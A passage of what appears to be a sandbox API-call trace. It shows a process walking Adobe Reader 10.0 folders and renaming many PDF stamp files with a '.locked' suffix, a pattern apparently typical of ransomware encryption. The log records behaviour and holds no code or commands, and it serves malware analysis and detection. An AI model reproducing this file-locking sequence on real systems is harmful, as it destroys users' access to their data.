lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xced21400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xced21400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0074.083] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\PDFSigQFormalRep.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pdfsigqformalrep.pdf.locked"), dwFlags=0x2) returned 1 [0074.089] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcf256420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcf256420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0074.090] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcf256420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcf256420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0074.093] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcf256420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcf256420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0074.095] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcf256420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcf256420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0074.098] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcf256420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcf256420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0074.102] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcf27c580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcf27c580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0074.153] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0074.189] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf.locked"), dwFlags=0x2) returned 1 [0074.239] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf.locked"), dwFlags=0x2) returned 1 [0074.276] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0074.466] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf.locked"), dwFlags=0x2) returned 1 [0075.033] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0075.043] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcfb69800, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcfb69800, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0075.122] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0075.167] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Hanko.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\hanko.pdf.locked"), dwFlags=0x2) returned 1 [0075.218] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0075.350] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0075.354] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcfe63380, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcfe63380, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0075.430] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0075.477] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf.locked"), dwFlags=0x2) returned 1 [0075.594] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0075.801] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0075.805] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd02b3b60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd02b3b60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0075.837] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0075.873] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf.locked"), dwFlags=0x2) returned 1 [0075.919] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Pointers.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\pointers.pdf.locked"), dwFlags=0x2) returned 1 [0076.276] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0076.454] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf.locked"), dwFlags=0x2) returned 1 [0076.545] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0076.548] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd09d7d60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd09d7d60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0076.608] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0076.645] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0076.828] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0076.918] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0d43d00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd0d43d00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0076.971] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0077.021] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0077.115] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0077.119] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd0f32ee0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd0f32ee0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0077.175] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf.locked"), dwFlags=0x2) returned 1 [0077.217] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf.locked"), dwFlags=0x2) returned 1 [0077.323] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf.locked"), dwFlags=0x2) returned 1 [0077.327] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*", lpFindFileData=0x42a050 | out: lpFindFileData=0x42a050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd11220c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd11220c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x429e38, cFileName=".", cAlternateFileName="")) returned 0x8259d0 [0077.379] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\esp\\dynamic.pdf"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\Dynamic.pdf.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 